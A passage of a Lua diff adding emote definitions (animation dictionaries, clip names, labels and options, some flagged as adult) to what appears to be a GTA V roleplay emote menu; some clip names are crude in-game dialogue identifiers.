+ ExitEmote = "meditateup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["flip2"] = {
+ "anim@arena@celeb@flat@solo@no_props@",
+ "cap_a_player_a",
+ "Flip 2"
+ },
+ ["flip"] = {
+ "anim@arena@celeb@flat@solo@no_props@",
+ "flip_a_player_a",
+ "Flip"
+ },
+ ["slide"] = {
+ "anim@arena@celeb@flat@solo@no_props@",
+ "slide_a_player_a",
+ "Slide"
+ },
+ ["slide2"] = {
+ "anim@arena@celeb@flat@solo@no_props@",
+ "slide_b_player_a",
+ "Slide 2"
+ },
+ ["slide3"] = {
+ "anim@arena@celeb@flat@solo@no_props@",
+ "slide_c_player_a",
+ "Slide 3"
+ },
+ ["slugger"] = {
+ "anim@arena@celeb@flat@solo@no_props@",
+ "slugger_a_player_a",
+ "Slugger"
+ },
+ ["flipoff"] = {
+ "anim@arena@celeb@podium@no_prop@",
+ "flip_off_a_1st",
+ "Flip Off",
+ AnimationOptions = {
+ EmoteMoving = true
+ }
+ },
+ ["flipoff2"] = {
+ "anim@arena@celeb@podium@no_prop@",
+ "flip_off_c_1st",
+ "Flip Off 2",
+ AnimationOptions = {
+ EmoteMoving = true
+ }
+ },
+ ["bow"] = {
+ "anim@arena@celeb@podium@no_prop@",
+ "regal_c_1st",
+ "Bow",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["bow2"] = {
+ "anim@arena@celeb@podium@no_prop@",
+ "regal_a_1st",
+ "Bow 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["keyfob"] = {
+ "anim@mp_player_intmenu@key_fob@",
+ "fob_click",
+ "Key Fob",
+ AnimationOptions = {
+ EmoteLoop = false,
+ EmoteMoving = true,
+ EmoteDuration = 1000
+ }
+ },
+ ["holster"] = {
+ "move_m@intimidation@cop@unarmed",
+ "idle",
+ "Holster",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["holster2"] = { --- Custom Emote Provided To RpEmotes By Mads
+ "mads@police_reaching_holster",
+ "idle",
+ "Holster 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["holster3"] = {
+ "anim@hlstr_7360_walk",
+ "holster_walk",
+ "Holster 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["holster4"] = {
+ "anim@hlstr_7360_hold",
+ "holster_stop",
+ "Holster 4 - Stop",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["holster5"] = {
+ "anim@holster_hold_there",
+ "holster_hold",
+ "Holster 5 - Stop 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["slap"] = {
+ "melee@unarmed@streamed_variations",
+ "plyr_takedown_front_slap",
+ "Slap",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ EmoteDuration = 2000
+ }
+ },
+ ["headbutt"] = {
+ "melee@unarmed@streamed_variations",
+ "plyr_takedown_front_headbutt",
+ "Headbutt"
+ },
+ ["fishdance"] = {
+ "anim@mp_player_intupperfind_the_fish",
+ "idle_a",
+ "Fish Dance",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["peace"] = {
+ "mp_player_int_upperpeace_sign",
+ "mp_player_int_peace_sign",
+ "Peace",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["peace2"] = {
+ "anim@mp_player_intupperpeace",
+ "idle_a",
+ "Peace 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["peace3"] = {
+ "anim@mp_player_intupperpeace",
+ "idle_a_fp",
+ "Peace 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["peace4"] = {
+ "anim@mp_player_intincarpeacestd@ds@",
+ "idle_a",
+ "Peace 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["peace5"] = {
+ "anim@mp_player_intincarpeacestd@ds@",
+ "idle_a_fp",
+ "Peace 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["peace6"] = {
+ "anim@mp_player_intincarpeacebodhi@ds@",
+ "idle_a",
+ "Peace 6",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["peace7"] = {
+ "anim@mp_player_intincarpeacebodhi@ds@",
+ "idle_a_fp",
+ "Peace 7",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["peacef"] = {
+ "anim@mp_player_intcelebrationfemale@peace",
+ "peace",
+ "Peace Female",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["cpr"] = {
+ "mini@cpr@char_a@cpr_str",
+ "cpr_pumpchest",
+ "CPR",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["cpr2"] = {
+ "mini@cpr@char_a@cpr_str",
+ "cpr_pumpchest",
+ "CPR 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["ledge"] = {
+ "missfbi1",
+ "ledge_loop",
+ "Ledge",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["airplane"] = {
+ "missfbi1",
+ "ledge_loop",
+ "Air Plane",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["peek"] = {
+ "random@paparazzi@peek",
+ "left_peek_a",
+ "Peek",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["cough"] = {
+ "timetable@gardener@smoking_joint",
+ "idle_cough",
+ "Cough",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["stretch"] = {
+ "mini@triathlon",
+ "idle_e",
+ "Stretch",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["stretch2"] = {
+ "mini@triathlon",
+ "idle_f",
+ "Stretch 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["stretch3"] = {
+ "mini@triathlon",
+ "idle_d",
+ "Stretch 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["stretch4"] = {
+ "rcmfanatic1maryann_stretchidle_b",
+ "idle_e",
+ "Stretch 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["celebrate"] = {
+ "rcmfanatic1celebrate",
+ "celebrate",
+ "Celebrate",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["punching"] = {
+ "rcmextreme2",
+ "loop_punching",
+ "Punching",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["superhero"] = {
+ "rcmbarry",
+ "base",
+ "Superhero",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["superhero2"] = {
+ "rcmbarry",
+ "base",
+ "Superhero 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mindcontrol"] = {
+ "rcmbarry",
+ "mind_control_b_loop",
+ "Mind Control",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["mindcontrol2"] = {
+ "rcmbarry",
+ "bar_1_attack_idle_aln",
+ "Mind Control 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["clown"] = {
+ "rcm_barry2",
+ "clown_idle_0",
+ "Clown",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["clown2"] = {
+ "rcm_barry2",
+ "clown_idle_1",
+ "Clown 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["clown3"] = {
+ "rcm_barry2",
+ "clown_idle_2",
+ "Clown 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["clown4"] = {
+ "rcm_barry2",
+ "clown_idle_3",
+ "Clown 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["clown5"] = {
+ "rcm_barry2",
+ "clown_idle_6",
+ "Clown 5",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["tryclothes"] = {
+ "mp_clothing@female@trousers",
+ "try_trousers_neutral_a",
+ "Try Clothes",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["tryclothes2"] = {
+ "mp_clothing@female@shirt",
+ "try_shirt_positive_a",
+ "Try Clothes 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["tryclothes3"] = {
+ "mp_clothing@female@shoes",
+ "try_shoes_positive_a",
+ "Try Clothes 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["nervous2"] = {
+ "mp_missheist_countrybank@nervous",
+ "nervous_idle",
+ "Nervous 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["nervous"] = {
+ "amb@world_human_bum_standing@twitchy@idle_a",
+ "idle_c",
+ "Nervous",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["nervous3"] = {
+ "rcmme_tracey1",
+ "nervous_loop",
+ "Nervous 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["namaste"] = {
+ "timetable@amanda@ig_4",
+ "ig_4_base",
+ "Namaste",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["threaten"] = {
+ "random@atmrobberygen",
+ "b_atm_mugging",
+ "Threaten",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["radio"] = {
+ "random@arrests",
+ "generic_radio_chatter",
+ "Radio",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pull"] = {
+ "random@mugging4",
+ "struggle_loop_b_thief",
+ "Pull",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["bird"] = {
+ "random@peyote@bird",
+ "wakeup",
+ "Bird"
+ },
+ ["chicken"] = {
+ "random@peyote@chicken",
+ "wakeup",
+ "Chicken",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["bark"] = {
+ "random@peyote@dog",
+ "wakeup",
+ "Bark"
+ },
+ ["rabbit"] = {
+ "random@peyote@rabbit",
+ "wakeup",
+ "Rabbit"
+ },
+ ["spiderman"] = {
+ "missexile3",
+ "ex03_train_roof_idle",
+ "Spider-Man",
+ AnimationOptions = {
+ EmoteLoop = true,
+ NotInVehicle = true
+ }
+ },
+ ["boi"] = {
+ "special_ped@jane@monologue_5@monologue_5c",
+ "brotheradrianhasshown_2",
+ "BOI",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 3000
+ }
+ },
+ ["adjust"] = {
+ "missmic4",
+ "michael_tux_fidget",
+ "Adjust",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 4000
+ }
+ },
+ ["handsup"] = {
+ "missminuteman_1ig_2",
+ "handsup_base",
+ "Hands Up",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["handsup2"] = {
+ "anim@mp_player_intuppersurrender",
+ "idle_a_fp",
+ "Hands Up 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ['handsup3'] = {
+ 'anim@mp_rollarcoaster',
+ 'hands_up_idle_a_player_one',
+ 'Hands Up 3',
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["valet"] = {
+ "anim@amb@casino@valet_scenario@pose_a@",
+ "base_a_m_y_vinewood_01",
+ "Valet",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["valet2"] = {
+ "anim@amb@casino@valet_scenario@pose_b@",
+ "base_a_m_y_vinewood_01",
+ "Valet 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["valet3"] = {
+ "anim@amb@casino@valet_scenario@pose_d@",
+ "base_a_m_y_vinewood_01",
+ "Valet 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tighten"] = {
+ "timetable@denice@ig_1",
+ "idle_b",
+ "Tigten (Yoga)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["fspose"] = {
+ "missfam5_yoga",
+ "c2_pose",
+ "F Sex Pose",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["fspose2"] = {
+ "missfam5_yoga",
+ "c6_pose",
+ "F Sex Pose 2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ NotInVehicle = true
+ },
+ AdultAnimation = true
+ },
+ ["fspose3"] = {
+ "anim@amb@carmeet@checkout_car@",
+ "female_c_idle_d",
+ "F Sex Pose 3",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["showerf"] = {
+ "mp_safehouseshower@female@",
+ "shower_enter_into_idle",
+ "Shower Enter Female",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["showerf2"] = {
+ "mp_safehouseshower@female@",
+ "shower_idle_a",
+ "Shower Female",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["showerf3"] = {
+ "mp_safehouseshower@female@",
+ "shower_idle_b",
+ "Shower Female 2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["showerm"] = {
+ "mp_safehouseshower@male@",
+ "male_shower_idle_a",
+ "Shower Enter Male",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["showerm2"] = {
+ "mp_safehouseshower@male@",
+ "male_shower_idle_b",
+ "Shower Male 2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["showerm3"] = {
+ "mp_safehouseshower@male@",
+ "male_shower_idle_c",
+ "Shower Male 3",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["showerm4"] = {
+ "mp_safehouseshower@male@",
+ "male_shower_idle_d",
+ "Shower Male 4",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["picklock"] = {
+ "missheistfbisetup1",
+ "hassle_intro_loop_f",
+ "Picklock",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["cleanhands"] = {
+ "missheist_agency3aig_23",
+ "urinal_sink_loop",
+ "Clean Them Filthy Hands",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["cleanface"] = {
+ "switch@michael@wash_face",
+ "loop_michael",
+ "Clean Your Face",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["buzz"] = {
+ "anim@apt_trans@buzzer",
+ "buzz_reg",
+ "Buzz Door",
+ AnimationOptions = {
+ EmoteLoop = false,
+ EmoteMoving = false
+ }
+ },
+ ["grieve"] = {
+ "anim@miss@low@fin@vagos@",
+ "idle_ped05",
+ "Grieve The Dead",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["respect"] = {
+ "anim@mp_player_intcelebrationmale@respect",
+ "respect",
+ "Respect Male",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = false
+ }
+ },
+ ["respectf"] = {
+ "anim@mp_player_intcelebrationfemale@respect",
+ "respect",
+ "Respect Female",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = false
+ }
+ },
+ ["bang"] = {
+ "anim@mp_player_intcelebrationfemale@bang_bang",
+ "bang_bang",
+ "Bang Bang",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 2500
+ }
+ },
+ ["checkcar"] = {
+ "anim@amb@carmeet@checkout_car@male_a@idles",
+ "idle_b",
+ "Check Out · Female",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["checkcar2"] = {
+ "anim@amb@carmeet@checkout_car@male_c@idles",
+ "idle_a",
+ "Check Out 2 · Male",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["showboobs"] = {
+ "mini@strip_club@backroom@",
+ "stripper_b_backroom_idle_b",
+ "Show Boobs",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 6000,
+ },
+ AdultAnimation = true
+ },
+ ["showboobs2"] = {
+ "mini@strip_club@idles@stripper",
+ "stripper_idle_05",
+ "Show Boobs 2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 6000,
+ },
+ AdultAnimation = true
+ },
+ ["watchstripper"] = {
+ "amb@world_human_strip_watch_stand@male_c@idle_a",
+ "idle_b",
+ "Watch Stripper",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 6000,
+ },
+ AdultAnimation = true
+ },
+ ["hhands"] = {
+ "misssnowie@hearthands",
+ "base",
+ "Heart Hands",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pockets"] = { -- Custom Emote By Dark Animations
+ "hoodie_hands@dad",
+ "hoodie_hands_clip",
+ "Hands in pockets (Hoodie)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["posecutef"] = { -- Custom Emote By Pupppy
+ "pupppy@freepose01",
+ "freepose01",
+ "Cute Pose Female",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["posecutef2"] = { -- Custom Emote By Pupppy
+ "pupppy@freepose03",
+ "freepose03",
+ "Cute Pose Female 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["posecutef3"] = { -- Custom Emote By Pupppy
+ "pupppy@freepose04",
+ "freepose04",
+ "Cute Pose Female 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["posecutef4"] = { -- Custom Emote By QueenSistersAnimations
+ "handkylie@queensisters",
+ "kylie_clip",
+ "Cute Pose Female 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["posecutem"] = { -- Custom Emote By Pupppy
+ "pupppy@freepose02",
+ "freepose02",
+ "Cute Pose Male",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["checkwatch"] = { -- Custom Emote By MissSnowie
+ "watch@looking_at",
+ "base",
+ "Check Watch",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pee"] = {
+ "misscarsteal2peeing",
+ "peeing_loop",
+ "Pee (Male)",
+ AnimationOptions = {
+ EmoteStuck = true,
+ PtfxAsset = "scr_amb_chop",
+ PtfxName = "ent_anim_dog_peeing",
+ PtfxNoProp = true,
+ PtfxPlacement = {
+ -0.05,
+ 0.3,
+ 0.0,
+ 0.0,
+ 90.0,
+ 90.0,
+ 1.0
+ },
+ PtfxInfo = Translate('pee'),
+ PtfxWait = 0,
+ PtfxCanHold = true,
+ },
+ AdultAnimation = true
+ },
+ ["pee2"] = {
+ "missbigscore1switch_trevor_piss",
+ "piss_loop",
+ "Pee 2 (Male)",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true,
+ PtfxAsset = "scr_amb_chop",
+ PtfxName = "ent_anim_dog_peeing",
+ PtfxNoProp = true,
+ PtfxPlacement = {
+ 0.0130,
+ 0.1030,
+ 0.0,
+ 0.0,
+ 90.0,
+ 90.0,
+ 1.0
+ },
+ PtfxInfo = Translate('pee'),
+ PtfxWait = 0,
+ PtfxCanHold = true,
+ },
+ AdultAnimation = true
+ },
+ ["pee3"] = {
+ "missbigscore1switch_trevor_piss",
+ "piss_loop",
+ "Pee 3 Static (Male)",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ PtfxAsset = "scr_amb_chop",
+ PtfxName = "ent_anim_dog_peeing",
+ PtfxNoProp = true,
+ PtfxPlacement = {
+ 0.0130,
+ 0.1030,
+ 0.0,
+ 0.0,
+ 90.0,
+ 90.0,
+ 1.0
+ },
+ PtfxInfo = Translate('pee'),
+ PtfxWait = 0,
+ PtfxCanHold = true,
+ },
+ AdultAnimation = true
+ },
+ ["hump"] = {
+ "timetable@trevor@skull_loving_bear",
+ "skull_loving_bear",
+ "Hump",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["wank"] = {
+ "anim@mp_player_intselfiewank",
+ "idle_a",
+ "Wank",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["wank2"] = {
+ "anim@mp_player_intupperwank",
+ "idle_a",
+ "Wank 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["wank3"] = {
+ "mp_player_int_upperwank",
+ "mp_player_int_wank_02",
+ "Wank 3",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["wank4"] = {
+ "mp_player_int_upperwank",
+ "mp_player_int_wank_02_fp",
+ "Wank 4",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["wank5"] = {
+ "mp_player_intwank",
+ "mp_player_int_wank",
+ "Wank 5",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = false
+ },
+ AdultAnimation = true
+ },
+ ["calldog"] = {
+ "switch@franklin@plays_w_dog",
+ "001916_01_fras_v2_9_plays_w_dog_idle",
+ "Call Dog",
+ AnimationOptions = {
+ EmoteLoop = true,
+ }
+ },
+ ["calldogr"] = {
+ "missfra0_chop_find",
+ "call_chop_r",
+ "Call Dog - Right",
+ AnimationOptions = {
+ EmoteLoop = false,
+ }
+ },
+ ["calldogl"] = {
+ "missfra0_chop_find",
+ "call_chop_l",
+ "Call Dog - Left",
+ AnimationOptions = {
+ EmoteLoop = false,
+ }
+ },
+ ["block"] = {
+ "missheist_agency3ashield_face",
+ "idle",
+ "Block Face",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["policecrowd"] = {
+ "amb@code_human_police_crowd_control@idle_a",
+ "idle_a",
+ "Police Crowd",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["policecrowd2"] = {
+ "amb@code_human_police_crowd_control@idle_b",
+ "idle_d",
+ "Police Crowd 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["k9pose"] = {
+ "anim@k9_pose",
+ "hug_dog",
+ "Hug Dog",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["snot"] = {
+ "move_p_m_two_idles@generic",
+ "fidget_blow_snot",
+ "Blow Snot",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 4500,
+ }
+ },
+ ["scratch"] = {
+ "move_p_m_two_idles@generic",
+ "fidget_scratch_balls",
+ "Scratch Balls",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 4000,
+ },
+ AdultAnimation = true
+ },
+ ["cartaunt"] = {
+ "missarmenian1driving_taunts@lamar_1",
+ "cmonfrank",
+ "Car Taunt",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 2000,
+ }
+ },
+ ["cartauntb"] = {
+ "missarmenian1driving_taunts@lamar_1",
+ "cmonmynigga",
+ "Car Taunt 2",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 2000,
+ }
+ },
+ ["cartauntc"] = {
+ "missarmenian1driving_taunts@lamar_1",
+ "hahahakeepup",
+ "Car Taunt 3",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 2000,
+ }
+ },
+ ["cartauntd"] = {
+ "missarmenian1driving_taunts@lamar_1",
+ "manthisismeanttobe",
+ "Car Taunt 4",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 2000,
+ }
+ },
+ ["cartaunte"] = {
+ "missarmenian1driving_taunts@lamar_1",
+ "rememberthis",
+ "Car Taunt 5",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 3000,
+ }
+ },
+ ["cartauntf"] = {
+ "missarmenian1driving_taunts@lamar_1",
+ "skoolinyoass",
+ "Car Taunt 6",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 3000,
+ }
+ },
+ ["cartauntg"] = {
+ "missarmenian1driving_taunts@lamar_1",
+ "youaintfuckin",
+ "Car Taunt 7",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 2000,
+ }
+ },
+ ["cartaunth"] = {
+ "missarmenian1driving_taunts@franklin",
+ "heyidontneedanybody",
+ "Car Taunt 8",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 2000,
+ }
+ },
+ ["cartaunti"] = {
+ "missarmenian1driving_taunts@franklin",
+ "heymotherfuckayoudriveslowasfuck",
+ "Car Taunt 9",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 3000,
+ }
+ },
+ ["cartauntj"] = {
+ "missarmenian1driving_taunts@franklin",
+ "kids_on_bicycles",
+ "Car Taunt 10",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 2000,
+ }
+ },
+ ["cartauntk"] = {
+ "missarmenian1driving_taunts@franklin",
+ "learnhowtouseastick",
+ "Car Taunt 11",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 2000,
+ }
+ },
+ ["cartauntl"] = {
+ "missarmenian1driving_taunts@franklin",
+ "slowassshit",
+ "Car Taunt 12",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 2000,
+ }
+ },
+ ["cartauntm"] = {
+ "mp_intro_seq@mcs_7_race_taunt",
+ "mcs_7_taunt_female",
+ "Car Taunt 13",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 5000,
+ }
+ },
+ ["cartauntn"] = {
+ "mp_intro_seq@mcs_7_race_taunt",
+ "mcs_7_taunt_male",
+ "Car Taunt 14",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteMoving = false,
+ EmoteDuration = 5000,
+ }
+ },
+ ["flex2"] = { -- Custom Emote By Amnilka
+ "frabi@malepose@solo@firstsport",
+ "pose_sport_002",
+ "Flex 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true, --- Allows us to flex while performing another animation
+ }
+ },
+ ["gym"] = { -- Custom Female Emote By Souris
+ "mouse@air_squat",
+ "air_squat_clip",
+ "Gym - Squats",
+ AnimationOptions = {
+ EmoteLoop = true,
+ }
+ },
+ ["gym2"] = { -- Custom Female Emote By Souris
+ "mouse@byc_crunch",
+ "byc_crunch_clip",
+ "Gym - Crunches",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 400,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["gym3"] = { -- Custom Female Emote By Souris
+ "mouse@jump_exc",
+ "jump_exc_clip",
+ "Gym - Jumping",
+ AnimationOptions = {
+ EmoteLoop = true,
+ }
+ },
+ ["gym4"] = { -- Custom Female Emote By Souris
+ "mouse@jump_jack",
+ "jump_jack_clip",
+ "Gym - Jumping Jacks",
+ AnimationOptions = {
+ EmoteLoop = true,
+ }
+ },
+ ["gym5"] = { -- Custom Female Emote By Souris
+ "mouse@situp",
+ "situp_clip",
+ "Gym - Sit Up",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 550,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["gympose"] = { -- Custom Emote By Amnilka
+ "frabi@malepose@solo@firstsport",
+ "pose_sport_001",
+ "Gym Pose",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["gympose2"] = { -- Custom Emote By Amnilka
+ "frabi@malepose@solo@firstsport",
+ "pose_sport_005",
+ "Gym Pose 2 - One Handed Push Up",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 550,
+ ExitEmote = "standup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["gympose3"] = { -- Custom Female Emote By Frabi
+ "frabi@femalepose@solo@firstsport",
+ "fem_pose_sport_004",
+ "Gym Pose 3 - Planking Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 550,
+ ExitEmote = "standup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["gympose4"] = { -- Custom Female Emote By Frabi
